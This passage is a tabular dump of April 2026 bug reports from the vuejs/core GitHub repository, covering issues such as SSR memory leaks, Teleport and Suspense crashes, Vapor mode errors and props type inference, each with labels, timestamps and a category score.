But the Typescript `this` type doesn't change, so there is an error in runtime (_can't assign to property ""value"" on 0: not an object_), but correcting this error by r... [TRUNCATED]",,2026-04-21 15:59:58+00:00,2026-04-22 03:34:34+00:00,1,nan,0.4824,deeply unwraps refs in reactive objects lead typescript error vue version link to you have to sometimes reload the example because is can break reactivity create an es class or object with a function using and make it a what is expected as described in docs the ref gets deeply unwraps and the increment function should work what is actually happening but the typescript type doesn t change so there is an error in runtime can t assign to property value on not an object but correcting this error by r truncated,bug,-0.7469
vuejs/core,4301752021,"The union type only includes boolean, which is false, and it has nothing to do with the order","### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U7Fu2zAQ/ZUDO9gBVAmtk8VwXDRthnZIg6boUhaFLJ1luRRJkCfHhap/75GKbA9BmiWABt27R77H42Mn3lub7loUc7HwhastgUdqLahcV5dSkJdiKXXdWOMIOnC4hh7WzjQw4WUTqQujPYF1xnq4hPuaNh9xnbeK/LTEda3xNrQWndQAZe3zlcLy3Rx026zQwV9YGaMw11L3y+lZAl1/JnWWwYbI+nmWscjWp8ZVWdXWJWaFYSsaNfksaqYbatSrh01eF7mnWldxB/5GPbalFKwQQp9LMkCuxUg7MTllk4wcfc7hx9WwcwI30fDPyAgeX0Ljjhy7fxGNwX4CD1rP0LC581zmHnIN2Fj6Az76g+nI5YBIMdzXf+SHkz0iH+LDUKpMNR0udFyVTGI9YdIiG7LJSeSC2IzKCbkCWGzeLLvu6L7vFxlDYc0JTyScZJZa11W69UZz3GMgpQh5qhW6L5ZqtiLFHGIn9HKlzP3niIUxJyNebLD4/Qi+9fuASXHr0KPboRSHHuWuQhra13c3uOf/Q7MxZauY/UTzK/KY2uBxoF21umTbJ7zo9lN8qDzqb/56T6j9eKghJwB95EvB7+rDE0c/2p2l53EdP1Ce4q8durAnD3CWXqSztwEj//2AXjB6Lvp/fIJ3NQ==

### Steps to reproduce

View the interface, or press F12
// https://vuejs.org/guide/components/props.html#boolean-casting


### What is expected?

consistent with the document


### What is actually happening?

Default values do not match


### System Info

```shell

```

### Any additional comments?

_No response_",,2026-04-21 09:50:38+00:00,2026-04-22 03:24:17+00:00,1,nan,0.7317,the union type only includes boolean which is false and it has nothing to do with the order vue version link to view the interface or press f what is expected consistent with the document what is actually happening default values do not match system info any additional comments no response,others,0.128
vuejs/core,4294031891,Textarea resize styles are lost after updates,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VF1v0zAU/StXeVg3qU23MfEQugmYJjGEAFEeeMiLl9y0Hk5s2U7aMlXib/D3+CUcO03XTWhPrc899+Oca+cheWdM2rWcZMnMc22U8HyVN0SzUnbhl6hQwrnLPFlZYfKkx97WunXMjWeLiHQfdMdWNgu6JG9bfkpTLDp+TquEcjte7IeOntdeWBbUTWpdskJKJ1SoRpnzGxVqDJx5OCMwHZKdEQ0SZQWSW+rVNbpaEIbpZaGbPLn6MZsGZi9xCo34N5seKMfRFVYaT459a0iJZhH6OiTnjayNtp4eyHI1pkLXpvVc0pYqq2sawchRKIFezlMcHlLBPR590pZrksa1NZVaaUtO+nR0MpCfmBMyokEI5810SrdUiObv7z8eIbUhp1X40Q1dz+eULUPmmCJTOJINWEJNVtqqklzBjbBSO/JLpk46eSeV9MiuIhKMQXfyGyMLoVAWgLdaKQi721DdKi+N4gCX0ktMmw5D743GzIMZx8cndHnVi097C46ODuT12F73k4XupD+E7axk6ZcZjc5PT816NA7QkuVi6YGdDdgWdbDRuLDd8mIdV2jDJZA03FqKBY2G4xg/Cx4KLzt+c9Cnkn4ShONOA96GWmm05lmuuIP50BlzbT/PhVnHo9fm8VC01mmbIVWGZxKxCg0mTv7ijM7OIy822l/8vpcoS/g02RU/ez0QITSIg6pkjAuJ4Sq5SO+dbvB6Y2qehC1IxfaLiZvKk6wvGmJYrl59jFh4pNHSmLPk4ud/8Hu3DliefLXs2HZ4b/sY5l2w78M3888QcBDE623D63wh+I2jjZixp71vmxJjH/DitLfxvcGN7+5mjd24QVT8yoC5jXx8KFq+fkH647iv0ouYB0eT7T/mvrYN

### Steps to reproduce

Drag the bottom-right corner to resize the textarea

### What is expected?

The textarea should resize smoothly based on native browser behavior.

### What is actually happening?

The textarea size flickers when resizing.

### System Info

```shell
System:
    OS: macOS 15.4.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 1.31 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.6.0 - /usr/local/bin/npm
    pnpm: 1... [TRUNCATED]","has workaround,:hammer: p3-minor-bug",2026-04-20 07:54:54+00:00,2026-04-22 06:06:03+00:00,7,"has workaround,:hammer: p3-minor-bug",1.9244,textarea resize styles are lost after updates vue version link to drag the bottom right corner to resize the textarea what is expected the textarea should resize smoothly based on native browser behavior what is actually happening the textarea size flickers when resizing system info shell system os macos cpu arm apple m pro memory gb gb shell bin zsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm pnpm truncated,bug,-0.4939
vuejs/core,4279181453,`onScopeDispose` can cause a SSR memory leak,"### Vue version

3.5.32

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-zqf6g74x?file=src%2Fcomponents%2FComponentA.vue&terminal=dev

### Steps to reproduce

1. download the reproduction from stackblitz (won't work there)
2. run `pnpm i && pnpm ssr`
3. see the heap size & alive app instances grow with each request


The script creates 1000 fresh ssr apps, renders them to string and tracks whether each of them gets garbage-collected.

2 sibling async SFC components with top-level await are needed for this to reproduce. One of them needs to capture a stop handle for an immediate watcher, which then ends up keeping the whole scope in memory and through it, the whole app. _(probably)_

**ComponentA**
```vue
<script setup>
    const enabled = await Promise.resolve(false)
    const el = ref(null)
    const stopWatch = watch(() => el.value, () => {}, { immediate: true })  // actually runs on the server
    onScopeDispose(() => { stopWatch() })
</script>

<template>
    <div ref=""el"">Component A {{ enabled }}</div>
</template>
```

**Component B**
```vue
<script setup>
    const enabled = await Promise.resolve(false)
</script>

<template>
    <div>Component B {{ enabled }}</div>
</template>

```

**app:**
```vue
<template>
    <div>
        <ComponentA />
        <ComponentB />
    </div>
</template>
```

### What is expected?

All apps should get garbage collected.

### What is actually happening?

Every app is kept in memory forever:
```
FINAL: created=10... [TRUNCATED]","scope: ssr,:exclamation: p4-important",2026-04-16 23:50:09+00:00,2026-04-22 06:02:06+00:00,1,"scope: ssr,:exclamation: p4-important",5.2583,can cause a ssr memory leak vue version link to download the reproduction from stackblitz won t work there run see the heap size alive app instances grow with each request the script creates fresh ssr apps renders them to string and tracks whether each of them gets garbage collected sibling async sfc components with top level await are needed for this to reproduce one of them needs to capture a stop handle for an immediate watcher which then ends up keeping the whole scope in memory and through it the whole app probably componenta component b app what is expected all apps should get garbage collected what is actually happening every app is kept in memory forever final created truncated,others,0.8519
vuejs/core,4269318240,defineProps runtime props inference misses Array from MaybeRef<T[]> in union type after upgrading to Vue 3.5.31,"### Vue version

3.5.31

### Link to minimal reproduction

https://github.com/wuchunxu/vite-prop-runtime-repro

### Steps to reproduce

After upgrading Vue from `3.5.21` to `3.5.31`, runtime props inference from `defineProps<T>()` changed for a complex union type.

I have a prop type like this:

```ts
export type FormItemOptions<T = any, Context = any> =
  MaybeRef<OptionItem[]>
  | Promise<OptionItem[]>
  | ((row: T, context: Context) => Awaitable<OptionItem[]>)
```

In built output, Vue generates runtime prop type as:

```js
options: {
  type: [Promise, Function],
  default: () => []
}
```

`Array` is missing, so passing an array value triggers runtime warning:

```txt
[Vue warn]: Invalid prop: type check failed for prop ""options"". Expected Promise | Function, got Array
```

If I explicitly add `OptionItem[]` in the union (instead of relying only on `MaybeRef<OptionItem[]>`), the generated runtime type includes `Array` and warning disappears.


### What is expected?

Runtime props inference should include `Array` branch (or at least not narrow in a way that rejects valid array values from `MaybeRef<OptionItem[]>`).

For this case, expected generated runtime type should include:

```js
type: [Array, Promise, Function]
```

### What is actually happening?

Generated runtime type is:

```js
type: [Promise, Function]
```

which rejects array values at runtime.


### System Info

```shell

```

### Any additional comments?

This looks like a boundary case in SFC type-to-runtime ... [TRUNCATED]",:hammer: p3-minor-bug,2026-04-15 13:38:00+00:00,2026-05-06 06:41:35+00:00,3,:hammer: p3-minor-bug,20.7108,defineprops runtime props inference misses array from mayberef in union type after upgrading to vue vue version link to after upgrading vue from to runtime props inference from changed for a complex union type i have a prop type like this in built output vue generates runtime prop type as is missing so passing an array value triggers runtime warning if i explicitly add in the union instead of relying only on the generated runtime type includes and warning disappears what is expected runtime props inference should include branch or at least not narrow in a way that rejects valid array values from for this case expected generated runtime type should include what is actually happening generated runtime type is which rejects array values at runtime system info any additional comments this looks like a boundary case in sfc type to runtime truncated,bug,-0.5994
vuejs/core,4265883553,Quickly switch Transition,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUte0gCxFIQtxdVMfpADu2hLRofeiBQqPRKYUKRBLlSHBj+9y4pwbWBILqIuzM7HA65E5+8L8YBRSXqqIL2BBFp8Ctpde9dINhBwBb20AbXwxlTz6RVzkYm3rsnuEnwOYUBL6Sty0mDp7kg7L1pCLkCqP8ORM7CR2W0eryRYp5+k/5SrNau6wzecVGXEzWL8OA6NDZq0rkD/B2EYVzodpaSAt7OODM2elwRbqku02oeK08NlSfCJyiXkZ5NWhbjAi1hWDSK9IiXuWOwGXHuwC6p0UGrgsYYWEbAJuIHafdJ7qCSUjzWIHc037rQV9MyGfl9vri+8tsLFgFwvlGaniu4mjQ56tmhuBQU+UZa3RUP0Vm+yiwphXK91wbDD5+MRSmqabOEsUn39C330uWxp6mv7lE9vtB/iNvUk+JnwIhhRCkOGDWhQ5rg27vvnPsR2LvNYJj9CvgLozND8jjRPg92w7aPeNnt1/wgte3W8XZLyHnPh0pGE3Of+VLwI/3yytH/210W7/IcJ8op/hkxJE0OcFm8L5bXYv8PjR8M0g==

### Steps to reproduce

Click quickly twice

### What is expected?

normal transition

### What is actually happening?

Tips: `Cannot read properties of null (reading 'Symbol(_leaveCb)')`

### System Info

```shell

```

### Any additional comments?

_No response_","scope: transition,🔩 p2-edge-case",2026-04-15 02:34:37+00:00,2026-04-22 06:03:40+00:00,2,"scope: transition,🔩 p2-edge-case",7.1452,quickly switch transition vue version link to click quickly twice what is expected normal transition what is actually happening tips system info any additional comments no response,others,-0.296
vuejs/core,4261263389,`:deep` within `:is` is not resolved when there is another selector,"### Vue version

7df0edd

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uj1PwzAQ/SuWl7ZSlQwwhYIEqEgwAAJGL8G5BhfHZ/mcUlT1v3N2aKkEdInO7yN65+eNvPS+WPUgKzkjHYyPgiD2XtjatedKRlLyQjnTeQxR3CCKRcBOjIqS52QcKTcrByfr+BCh87aOwCchZo1Z5YHHZC4HtBzgWXkg5iPFTwuCNHpoGKkMjasGwI+LBeJkIorXOohN+oNGi6ESAZoz5bY5QvKySU45s0a3MG2xJHS8WHYoqbHzxkJ48NGg472q4V+Jq63Fj7uMxdDDdIfrN9Dvf+BLWidMyccABGEFSu65WIcW4kDPn+9hzfOe7LDpLauPkE9AaPuUcZBd9a7h2Ae6nPY2V2Jc+0LzdQRHu6VS0KTcZr2SXNL1kdV/4p4Up9nHN8q3+N1vehi/KhXa1kT8PLiX/D5yweRrt2e4Kmb4y9Uw/n/vcvsFy3XUSA==

### Steps to reproduce

```css
:is(:deep(.foo)) .bar {
  color: red;
}
```

is transformed to

```css
:is(:deep(.foo)) .bar[data-v-7ba5bd90] {
  color: red;
}
```

### What is expected?

should be compiled to:

```css
:is([data-v-7ba5bd90] .foo) .bar {
  color: red;
}
```

### What is actually happening?

`:deep` is left unresolved.

### System Info

playground

### Any additional comments?

downstream - https://github.com/vitejs/vite-plugin-vue/issues/763",:hammer: p3-minor-bug,2026-04-14 09:59:31+00:00,2026-04-22 06:26:23+00:00,0,:hammer: p3-minor-bug,7.852,within is not resolved when there is another selector vue version df edd link to is transformed to what is expected should be compiled to what is actually happening is left unresolved system info playground any additional comments downstream,bug,-0.1326
vuejs/core,4253944998,[Vapor] Unable to remove Teleport nested within a regular element,"### Vue version

3.6.0-beta.10

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kctuwjAQRX/F9aatBAkVVRcooD7Eol20VWFpqQrJJBgc2/IjUKH8e8cJoSwqVrbnnju6Mz7QJ62j2gOd0MRmhmtHLDivSZ1qZWZM8gpPRw7EQEEaUhhVkWs0XDOZKWkRX6sdmQb5xhkPt0wymcRdL/Tjw0GlReoAX4QkK++ckuQxEzzbThk9+q/CyehsqcpSwAIfSdyhnS3nNamHvDg6kAxlFJYgoI3oFGorlf+cNFS51N6RuIfjnu6axtgVb0l8FpEOqLM4WsHLaGOVxM0cAsxopirNBZgP7TiOzuiEtErQUiHU7q2thS0M+nq2hmz7T31j96HG6KcBC6YGRk+aS00JrpPni3fY4/0kVir3AukL4hdYJXzI2GHPXuYY+4xr0762P8tlubTzvQNp+6FC0EA2Lc8o/vbLhdH/4o6j+9bHZINb/K7BhJ64wHH0EI2GK3BpdDeizS9wpM7R

### Steps to reproduce

Click the 'ToggleShow' button

### What is expected?

Remove the 'Teleport' component

### What is actually happening?

Cannot remove

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-04-13 11:05:57+00:00,2026-04-13 23:59:05+00:00,5,scope: vapor,0.5369,vapor unable to remove teleport nested within a regular element vue version beta link to click the toggleshow button what is expected remove the teleport component what is actually happening cannot remove system info any additional comments no response,others,-0.296
vuejs/core,4236261049,Effect Scope Memory Leak,"### Vue version

3.5.32

### Link to minimal reproduction

https://github.com/bgarcias-cp/nuxt-v4-memory-leak

### Steps to reproduce

Steps to reproduce the memory leak:
1. Clone the repo and install dependencies.
2. Build the project: npm run build.
3. Launch the server: node --inspect .output/server/index.mjs.
4. Run load test: autocannon -c 10 -d 20 http://localhost:3000/.

**Result:**
Memory footprint grows from 13.7 MB to 122 MB. The leak persists even after garbage collection.

There are numerous string objects holding references to EffectScope, specifically originating from reactivity.cjs.prod.js and runtime-core.cjs.prod.js

<img width=""1915"" height=""1056"" alt=""Image"" src=""https://github.com/user-attachments/assets/86eb2e90-ed39-4172-9c28-a89523afb7c4"" />



### What is expected?

Memory usage should remain stable after the load test finishes, and any temporary objects should be cleared by the garbage collector, returning the heap size to near-baseline levels.

### What is actually happening?

uring the load test, memory usage scales linearly with the number of requests, increasing from 13.7 MB to 122 MB. Analysis of the heap snapshot reveals a large accumulation of string objects that maintain active references to EffectScope. These references are traced back to reactivity.cjs.prod.js:15 and runtime-core.cjs.prod.js:6450, suggesting that scopes are not being properly disposed of after the request lifecycle, even when the garbage collector is manually triggered.

###... [TRUNCATED]",,2026-04-10 03:08:11+00:00,2026-04-10 05:52:32+00:00,2,nan,0.1141,effect scope memory leak vue version link to the memory leak clone the repo and install dependencies build the project npm run build launch the server node inspect output server index mjs run load test autocannon c d result memory footprint grows from mb to mb the leak persists even after garbage collection there are numerous string objects holding references to effectscope specifically originating from reactivity cjs prod js and runtime core cjs prod js what is expected memory usage should remain stable after the load test finishes and any temporary objects should be cleared by the garbage collector returning the heap size to near baseline levels what is actually happening uring the load test memory usage scales linearly with the number of requests increasing from mb to mb analysis of the heap snapshot reveals a large accumulation of string objects that maintain active references to effectscope these references are traced back to reactivity cjs prod js and runtime core cjs prod js suggesting that scopes are not being properly disposed of after the request lifecycle even when the garbage collector is manually triggered truncated,others,0.0516
vuejs/core,4231252466,[Teleport] TypeError: Cannot read properties of null (reading 'subTree') during Suspense resolve — regression in 3.5.32,"### Vue version

3.5.32

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1PAjEQ/SuTekAT042iF7KQqPGg8SvKsYlZdgco7LZN2wUM4b877bKAUbn1zXszffOxZjfG8EWNrMdSl1tpPDj0tRkIJSujrYdnXdQlwtjqCjo8aWBI6QiVJk0OqQl4rEyZeQzIpx+1M6hcgwhv6yQtbtVwMs7KcpTl88GTzgqpJpzzNPlZLDmodsCxc+ZdrtVYTvjMaUVdrIUCECzXlZEl2lfjpVZOsB5EJnD0nV4+xpi3NZ638XyK+fyP+MytQkywN4sO7QIF23E+sxP0DX3/8YIreu/IKrZ8lHxHp8s6eGxkt7UqyPaBLrp9iLug2Qzd/crTINqmgtGg3ES9YLSXuyOt7+12+VXME2pDU9xv9f9DWMMUNts7aNYvFM3eeQg/Qp8EFlWBtgenZ9AfwPS0U8hF5yx8IlS2zKSHi+NHQ/rBnVbUIe08gBgdYonRgtd9wUa6+BIMCumyUYlFe09h41pRIvSkI1kwRbLm3tKkrfHrgD4XaMM4qfEuv+bdS7b5BjnJDFw=

### Steps to reproduce

1. Open the reproduction link (Vue 3.5.32)
2. Open browser console
3. See `TypeError: Cannot read properties of null (reading 'subTree')` on page load
4. Switch Vue version to 3.5.31 → error disappears

### What is expected?

No error. The page renders correctly (works in 3.5.31).

### What is actually happening?

Crash on page load:
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'subTree') at move (runtime-dom.esm-browser.js:8744:28) at Object.moveTeleport [as move] (runtime-dom.esm-browser.js:3443:9) at move (runtime-dom.esm-browser.js:8752:12) at move (runtime-dom.esm-browser.js:8744:7) at move (runtime-dom.esm-browser.js:8758:9) at move (runtime-dom.esm-browser.js:8744:7) at Object.resolve (runtime-dom.esm-browser.js:9498:11)

### System Info

```shell
...
```

### Any additional comments?

**Regression introduced by PR #... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-04-09 09:56:04+00:00,2026-04-22 06:03:00+00:00,0,"scope: teleport,:hammer: p3-minor-bug",12.8381,teleport typeerror cannot read properties of null reading subtree during suspense resolve regression in vue version link to open the vue open browser console see on page load switch vue version to error disappears what is expected no error the page renders correctly works in what is actually happening crash on page load uncaught in promise typeerror cannot read properties of null reading subtree at move runtime dom esm browser js at object moveteleport as move runtime dom esm browser js at move runtime dom esm browser js at move runtime dom esm browser js at move runtime dom esm browser js at move runtime dom esm browser js at object resolve runtime dom esm browser js system info any additional comments regression introduced by pr truncated,bug,-0.8074
vuejs/core,4230415156,Teleport + Suspense: `Cannot read properties of null (reading 'subTree')` during move in Suspense resolve (regression still present in 3.5.32),"### Vue version

3.5.32

### Link to minimal reproduction

https://github.com/gitlibingchen/vue-teleport-suspense-repro

### Steps to reproduce

```bash
git clone https://github.com/gitlibingchen/vue-teleport-suspense-repro.git
cd vue-teleport-suspense-repro
npm install
npm run dev
```

1. Open http://localhost:5173
2. Wait for ""Page A"" to load (async component resolves via Suspense)
3. Click ""Go to B""
4. Check the browser console for errors

A Node.js + jsdom test is also included (`node test-repro.mjs` after `npm install jsdom`) that confirms the crash without a browser.

### What is expected?

Navigation between async pages completes without errors. Teleported elements from the previous page are cleanly unmounted.

### What is actually happening?

```
TypeError: Cannot read properties of null (reading 'type')
    at unmountComponent (runtime-core.esm-bundler.js)
    at unmount
    at Object.remove (Teleport)
    at unmount
    at unmountChildren
    at unmount
    at unmountComponent
    at unmount
    at Object.resolve (Suspense)
```

During Suspense branch swap, when `Transition(mode=""out-in"")` wraps `Suspense` and the async component uses `Teleport`, the deferred Teleport mount leaves component instances as null. When Suspense resolves the new branch and unmounts the old one, `unmountComponent` encounters a null instance and crashes.

### Any additional comments?

This is a continuation of #14640, which was fixed via #14642 in 3.5.32. However, the fix does not cover the... [TRUNCATED]",,2026-04-09 07:40:31+00:00,2026-04-09 08:26:15+00:00,2,nan,0.0318,teleport suspense during move in suspense resolve regression still present in vue version link to open wait for page a to load async component resolves via suspense click go to b check the browser console for errors a node js jsdom test is also included after that confirms the crash without a browser what is expected navigation between async pages completes without errors teleported elements from the previous page are cleanly unmounted what is actually happening during suspense branch swap when wraps and the async component uses the deferred teleport mount leaves component instances as null when suspense resolves the new branch and unmounts the old one encounters a null instance and crashes any additional comments this is a continuation of which was fixed via in however the fix does not cover the truncated,bug,-0.34
vuejs/core,4217875781,[Vapor] applications created with createVaporApp errors for components without setup vapor,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-syb8rkae?file=src%2FApp.vue

### Steps to reproduce

Open the reproduction link

### What is expected?

Both cards should render. If an application is created with createVaporApp setting vapor on a component level shouldn't be required

### What is actually happening?

The second card is missing ""<script setup vapor></script>"", this causes the error  
```
Uncaught TypeError: can't access property ""title"", slots is undefined
    renderSlot VueJS
    _sfc_render https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/components/Card2.vue:10
    VueJS 5
    _sfc_render https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/App.vue:35
    VueJS 8
    <anonymous> https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/main.js:5
```

If you add ""<script setup vapor></script>"" to the second card everything works as expected

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-04-07 13:08:17+00:00,2026-04-08 00:12:56+00:00,3,nan,0.4616,vapor applications created with createvaporapp errors for components without setup vapor vue version beta link to open the what is expected both cards should render if an application is created with createvaporapp setting vapor on a component level shouldn t be required what is actually happening the second card is missing this causes the error if you add to the second card everything works as expected system info any additional comments no response,bug,-0.7003
vuejs/core,4192873382,[keep-alive] recognized comment as elements,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ub1OwzAQfhXjpUt+BpiqqFJBHQAJEHT0EqWX4OLYln0JkaK8O2dHDRmqbvf9nT6fR763Nus74Fte+MpJi8wDdnYntGytcchG5qBOWA/OS6PZxGpnWrahzEboIp9DZCeA0FpVIhBirHgFsHsl+xkScZem7AgeWZpeKG9LvQscLQpjDObrZJGvtvKEo6+MrmWTnb3R1HoMEcEr01qpwL1bpJZe8C2LStBKpczvS+TQdZBc+Oobqp8r/NkPgRP8w4EH14Pgi4alawBn+fD1BgPNi9iaU6fIfUP8BG9UFzrOtsdOn6j2yhfbPsfbS90c/WFA0OH0S9HgnKJfcPqGpxtP/697nz3EnNATn/4Ao7Okrw==

### Steps to reproduce

Write a element and a comment inside <keep-alive />, compiler will throw an error.

### What is expected?

Comments shouldn't be treated as an real element

### What is actually happening?

Comments are recognized as an element.

### System Info

```shell
System:
    OS: macOS 26.4
    CPU: (8) arm64 Apple M2
    Memory: 84.09 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.4 - /Users/zenkiebear/.nvm/versions/node/v20.19.4/bin/node
    npm: 10.8.2 - /Users/zenkiebear/.nvm/versions/node/v20.19.4/bin/npm
    pnpm: 10.28.2 - /Users/zenkiebear/Library/pnpm/pnpm
  Browsers:
    Chrome: 146.0.7680.165
    Edge: 146.0.3856.84
    Firefox: 147.0.3
    Safari: 26.4
  npmPackages:
    vue: ^3.5.28 => 3.5.28
```

### Any additional comments?

<img width=""597"" height=""236"" alt=""Image"" src=""https://github.com/user-attachments/assets/91eaddef-560c-4857-825f-877e2f8297b5"" />",,2026-04-02 08:35:58+00:00,2026-04-02 09:08:31+00:00,1,nan,0.0226,keep alive recognized comment as elements vue version link to write a element and a comment inside compiler will throw an error what is expected comments shouldn t be treated as an real element what is actually happening comments are recognized as an element system info any additional comments,others,-0.1027
vuejs/core,4190339711,onScopeDispose is triggered on SSR,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9VE1v00AQ/SvDXnCl1AYVLlVS0UIlyqFUTQUHFlFjT5It611rd51GivLfeWs7rlM+DonjnXk7b968yVac13W6bliciqkvnKoDeQ5NTTo3y5kUwUtxJo2qausCbanx/N7ixec/NdOOFs5WJEWaFcOpFNJIU1jjI6DyS6TNDoHJkTTTrKuH2/ESuKp1HhhvRNPV67NtD91NM7y1p8rUTaD1cWVL1uCGuBSUITjNRngxAWuUX6hl+uCtQWvbiJciclSa3ec6KNCT4pTaSIzlWtvHT+1ZcA1P9ufFiotffzl/8Jt4JsWNY89ujbaHWMjdkkMXvpxf8wa/hyDYN1Gk/wRv2VvdRI5d2kVjStAe5bVsr9qhKLO885ebwMbvm4pEY+auzZcC843a/6v1J7on6ZsWJ80OKj6NFDpCxcEEjhcTsmZe2Jo/KI+kkRVQrHMAb9r0zgiHvplRckSzs46C5kBBVegPIOrz4+xnsVAixUdGt/TVOl2+kALWoWfFk9Ft3QUWnLVdAlx2KT2O6FGZ0j6mhebc3aGqbULSVm/jO3zHp8MOOLO3L+RobcWbHC7jNEQ1sozCSnlyjfGkDF3DldAJ1HDO2CJ4wqWj1Skcw6Dz+S1W7g+5cNuXhl/6Hnfs2JTsMFs6v7kilIlqei4JVmBH94BlB6ns7sfFusM7Ow/tJeNyz3GxfI+LzIaN7v8ZYribSY7o7KCNBJ9WscNyCTKPUqhgklWo9DCb8WRiANAoOJRdq8Bpv7Otuj0h1N8TehdzHnxW62apzHHPbGi45IUy8Fi8YtQuMAduRFre6PY5pCcJ5ozpTUCwqnJTTiD43LuLRukSlhj4713ROakj4k/pG7gkR9/3m9N19AMSx4VELyfp2/Tkldj9Bk0U22Q=

### Steps to reproduce

Create a composable that have onScopeDispose
Execute in SSR

### What is expected?

onScopeDispose isnt triggered, that normal because there is no reactivity in SSR, so no need to trigger cleanup hook.
onScopeDispose never trigger.

### What is actually happening?

onScopeDispose is triggered in 3.5.31
the behaviour changes since this version, it's a breaking change.

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (12) x64 AMD Ryzen... [TRUNCATED]","scope: ssr,regression",2026-04-01 22:46:47+00:00,2026-04-03 02:29:05+00:00,0,"scope: ssr,regression",1.1544,onscopedispose is triggered on ssr vue version link to create a composable that have onscopedispose execute in ssr what is expected onscopedispose isnt triggered that normal because there is no reactivity in ssr so no need to trigger cleanup hook onscopedispose never trigger what is actually happening onscopedispose is triggered in the behaviour changes since this version it s a breaking change system info shell system os linux ubuntu questing quokka cpu x amd ryzen truncated,bug,-0.3182
vuejs/core,4188234459,"False ""Slot invoked outside of the render function"" warning with multiple async components in Suspense","### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNqtU01v2zAM/SuELnEAw8aQ7VI4HZKth+6wFstu81B4DuO4kyVDH26GwP99lGxnhpemPVQXm+Sj+Eg+HdmqrqPGIrtiic5VWRvQaGwNPBPFMmVGp+w6FVBWtVQGPuMvW6z0H5GvYKdkBbMoHvncTbNz6PUZ9LpHJ3FXmMqQYbCqeWbQFYVkY3WNQncW2duy6X/JGJOJz7nXJ3cSD5lJPLoziUflWEjd5lLsyiJ61FLQSI4uI2W5rOqSo7qrTSkFTeQKfMTFMs7l0xfvM8piOPjzPea/z/gf9cH5UnavUKNqMGWnmMlUgaYL32y+4oH+T8FKbi0n9IXgN9SSW8exg62t2BLtEc6zvfXbKUXxXd8cDI1iaMoRdcjW41NG+/l0ofV/dBfRe5+XipamOBHES9Kikz1lpYF7kkipMaLBSN5gMI/MHkUQzGF5Dcd2al5UTq8VzwJWw/qn+56I8RVMe2UfYYu7UvjxSIHChLCHthd5J+sOT3rSBm6FQAXLaVLQj9IdXzB4COlqzaXR0M6HSQ9HEUQJ6AawD2bU0yzs0BHdnFluPkbBnAYzZHSLpC/5xnzurHl7Pr5Jwrdh7/rxH7WfF7k9o4KX9uybOT1/gA1VdX2Sss3w+gfMVAAPDSonf9r8IvoQLd6x9i+1ep8x

### Steps to reproduce

1. create a `<Suspense>` boundary with two async components as children
2. the first async component (`AsyncA`) must resolve slower (multiple microticks via `await Promise.resolve().then().then()`)
3. the second async component (`AsyncB`) must resolve faster (single microtick via `await Promise.resolve()`) and render a component tree that forwards slots (e.g. Outer -> Inner -> slot content)

### What is expected?

No warnings. The slot is invoked correctly inside a render function.

### What is actually happening?

A false `Slot ""default"" invoked outside of the render function` warning is shown.

### System Info

```shell

```

### Any additional comments?

I think that this is a microtask ordering issue between `withAsyn... [TRUNCATED]",:hammer: p3-minor-bug,2026-04-01 16:27:31+00:00,2026-04-03 02:31:24+00:00,0,:hammer: p3-minor-bug,1.4194,false slot invoked outside of the render function warning with multiple async components in suspense vue version link to create a boundary with two async components as children the first async component must resolve slower multiple microticks via the second async component must resolve faster single microtick via and render a component tree that forwards slots e g outer inner slot content what is expected no warnings the slot is invoked correctly inside a render function what is actually happening a false warning is shown system info any additional comments i think that this is a microtask ordering issue between withasyn truncated,bug,-0.2732
vuejs/core,4176441342,[Vapor] Warning appears when rendering the vapor slot in Suspense,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU19r2zAQ/yqH9lAXUjmhY7DiBLbRh42xlbWPguE651StLRlJdgLB3313cp14Iev8YOnufnf3uz/ai09NI7sWxY3IfOF0E8BjaBvo8sa6lTK6pjPAHhyW0EPpbA0X5HBxMH2xdfOqlykLHI/MyhTWeIr3ZLewZP8kuBYvlcnSIRWFJyFg3VR5QJIAMg4Qb3Rf6w66K10uleAgSqwC7kKWkn4Ax3R0zdJJEDETwVPqUm/ks7eGStszWomC0LpC97MJmqgpcQPRwra8quz2W9Qxy9moL56weDmjf/Y71ilx59Cj61CJgy3kboNhMN/e/yDOE2Nt121F6DeMv9DbqmWOA+xza9ZEe4KLbL/G/muzefC3u4DGj0UxUUb2Ea8EzYMb9a/Sj3Sv5fvop0xPXRxnebobx61gxOKv2S9eh//GiGlu961viO8oR130niii0lc2rHhswDcKyvLEacg51Yyp4F1JTXrMi5eTmN9tvqaeSSmncU4ZphOKp9t1qPNMY8al3+Y60NInl7BcDZ12hHAGDG7hjhqmPSYJrc4RABzkQddo25BMHPkjYGLaqqLHw2I/g8V8PicpjotOGpkyeczKv+Q/r4z7COmZ2n536HiPqLRr+UHOrx4x5PKj6P8AEFJXXQ==

### Steps to reproduce

Open the link

